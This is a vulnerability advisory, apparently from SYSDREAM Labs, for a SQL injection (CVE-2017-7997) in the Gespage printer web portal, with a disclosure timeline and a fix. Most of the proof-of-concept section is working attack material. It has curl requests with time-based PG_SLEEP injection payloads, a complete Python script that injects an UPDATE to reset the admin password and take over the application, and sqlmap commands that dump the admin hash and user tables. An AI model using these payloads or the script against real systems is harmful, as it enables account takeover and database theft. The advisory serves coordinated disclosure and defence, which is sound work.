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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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# [CVE-2017-7997] Gespage SQL Injection vulnerability

## Description

Gespage is a web solution providing a printer portal. Official Website:
http://www.gespage.com/

The web application does not properly filter several parameters sent by
users, allowing authenticated SQL code injection (Stacked Queries -
comment).

These vulnerabilities could allow attackers to retrieve / update data
from the database through the application.

**CVE ID**: CVE-2017-7997

**Access Vector**: remote

**Security Risk**: high

**Vulnerability**: CWE-89

**CVSS Base Score**: 8.6

**CVSS Vector String**: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N


### Proof of Concept (dumping database data)

The parameters of these following pages are vulnerable:

* Page: http://URL/ges/webapp/users/prnow.jsp
  Parameter: show_prn
  HTTP Method: Post

* Page: http://URL/ges/webapp/users/blhistory.jsp
  Parameter: show_month
  HTTP Method: Post

* Page: http://URL/ges/webapp/users/prhistory.jsp
  Parameter: show_month
  HTTP Method: Post

We can then detect the SQL Injection by requesting the server with the
curl tool, including a simple payload executing a sleep of different
seconds:

* Normal request:

```
curl --cookie "JSESSIONID=YOUR_COOKIE_HERE" -X POST -d "show_prn=1"
https://172.16.217.134:7181/gespage/webapp/users/prnow.jsp --insecure -w
"\nResponse Time:%{time_total}\n"

Curl output: Response Time:0,122
```

* Sleep Injection of 3 seconds into the request:

```
curl --cookie "JSESSIONID=YOUR_COOKIE_HERE" -X POST -d
"show_prn=1');SELECT PG_SLEEP(3)--"
https://172.16.217.134:7181/gespage/webapp/users/prnow.jsp --insecure -w
"\nResponse Time:%{time_total}\n"

Curl output: Response Time: 3,126
```

* Sleep Injection of 6 seconds into the request:

```
curl --cookie "JSESSIONID=YOUR_COOKIE_HERE" -X POST -d
"show_prn=1');SELECT PG_SLEEP(6)--"
https://172.16.217.134:7181/gespage/webapp/users/prnow.jsp --insecure -w
"\nResponse Time:%{time_total}\n"

Curl output: Response Time: 6,126
```

We created a dedicated python script to change the web admin password in
order to compromise the web application:

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""
$ python update_gespage_pwd.py -c e06d40bc855c98751a5a2ff49daa -i
http://192.168.160.128:7180/gespage -p 12345
[+] Generating the new admin password hash
    => Password hash (sha1) to inject in the Database:
8cb2237d0679ca88db6464eac60da96345513964
[+] Verifying connection to the web interface:
http://192.168.160.128:7180/gespage/
    => Connection OK
[+] Exploiting the SQL injection
    => Vulnerable page:
http://192.168.160.128:7180/gespage/webapp/users/prnow.jsp
    => Posting Data   : show_prn=A-PRINTER-ON-THE-WEB-LIST');UPDATE
param_gespage SET param_value='8cb2237d0679ca88db6464eac60da96345513964'
WHERE param_id='admin_pwd'--
[+] Go to the web admin interface, http://192.168.160.128:7180/admin/
and log on with admin:12345
"""

from argparse import ArgumentParser
from hashlib import sha1
from requests import Session
from urllib3 import disable_warnings


def exploit(args):
    if args.ip_url[-1] != "/":
        args.ip_url += "/"
    print "[+] Generating the new admin password hash"
    new_admin_pwd_hash = sha1(args.password).hexdigest()
    print "    => Password hash (sha1) to inject in the Database: %s" %
(new_admin_pwd_hash)
    print "[+] Verifying connection to the web interface: %s" %
(args.ip_url)
    web_session = web_connection(args.ip_url, args.cookie)
    print "[+] Exploiting the SQL injection"
    sql_injection(args.ip_url, web_session, args.cookie, new_admin_pwd_hash)
    print "[+] Go to the web admin interface, %s and log on with
admin:%s" % (args.ip_url.replace('gespage', 'admin'), args.password)


def sql_injection(url, session, user_cookie, new_admin_pwd_hash):
    vulnerable_url = url + "webapp/users/prnow.jsp"
    sql_update_query = "UPDATE param_gespage SET param_value='%s' WHERE
param_id='admin_pwd'" % (new_admin_pwd_hash)
    sql_injection_payload = "A-PRINTER-ON-THE-WEB-LIST');%s--" %
(sql_update_query)
    print "    => Vulnerable page: %s" % (vulnerable_url)
    print "    => Posting Data   : show_prn=%s" %(sql_injection_payload)
    response = session.post(vulnerable_url,
cookies={"JSESSIONID":user_cookie}, verify=False, allow_redirects=True,
data={"show_prn":sql_injection_payload})
    if not response.status_code == 200:
        print "   There is an error while posting the payload, try with
sqlmap.py"
        exit(2)


def web_connection(url, user_cookie):
    disable_warnings()
    session = Session()
    response = session.get(url, verify=False, allow_redirects=False,
cookies={"JSESSIONID":user_cookie})
    if (response.status_code == 302 and "webapp/user_main.xhtml" in
response.text):
        print "    => Connection OK"
        return session
    else:
        print "    /!\ Error while connecting the web interface with the
specified JSESSIONID cookie"
        print "        => Make sure given application URL and JSESSIONID
cookie are correct "
        exit(1)


if __name__ == '__main__':
    parser = ArgumentParser(description='Exploit Gespage SQL injection
by updating the admin password. You must create then specify an existing
user in order to exploit the vulnerability')
    parser.add_argument('-i','--ip_url', help='The web interface URL,
ex: http://IP_ADDRESS:7181/gespage/',required=True)
    parser.add_argument('-c','--cookie', help='JSESSIONID cookie of an
authenticated user',required=True)
    parser.add_argument('-p','--password', help='New admin
password',required=True)
    exploit(parser.parse_args())

```

Using [sqlmap](https://github.com/sqlmapproject/sqlmap), it is also
possible to dump the content of the database, write other data, etc.

Dumping the admin password hash (if changed from the initial 123456
password):

```
python sqlmap.py -u "https://URL:7181/gespage/users/prnow.jsp"
--cookie="JSESSIONID=YOUR_COOKIE_HERE"
--data="show_prn=A-PRINTER-ON-THE-WEB-LIST" --dbms=PostgreSQL --risk 3
--level 5 --technique TS -D public -T param_gespage -C param_value
--time-sec 2 --dump --flush-session
```

Dumping the users table:

```
sqlmap.py -u "https://URL:7181/gespage/users/prnow.jsp"
--cookie="JSESSIONID=YOU_COOKIE_HERE"
--data="show_prn=A-PRINTER-ON-THE-WEB-LIST" --dbms=PostgreSQL --risk 3
--level 5 --technique TS -D public -T users --time-sec 2 --dump
```


## Timeline (dd/mm/yyyy)

* 06/03/2017 : Initial discovery
* 13/03/2017 : First contact attempt (Web form)
* 21/04/2017 : Second contact attempt (public e-mail address)
* 23/06/2017 : Phone call and successful e-mail contact
* 23/06/2017 : Technical details sent to the editor
* 20/07/2017 : No reply, follow-up e-mail
* 27/07/2017 : Reply: fix planned for major release 7.5.0 in late September
* 17/09/2017 : Informing the editor that we would publish in October
* 3/10/2017 : Feedback from Gespage informing us that the issue has been
fixed with version 7.4.9.
* 02/01/2018 : Release of the advisory

## Fixes

Upgrade to Gespage 7.4.9

## Affected versions

* Versions up to 7.4.8

## Credits

* Mickael KARATEKIN <m.karatekin@sysdream.com>


-- SYSDREAM Labs <labs@sysdream.com> GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 * Website: https://sysdream.com/ * Twitter: @sysdream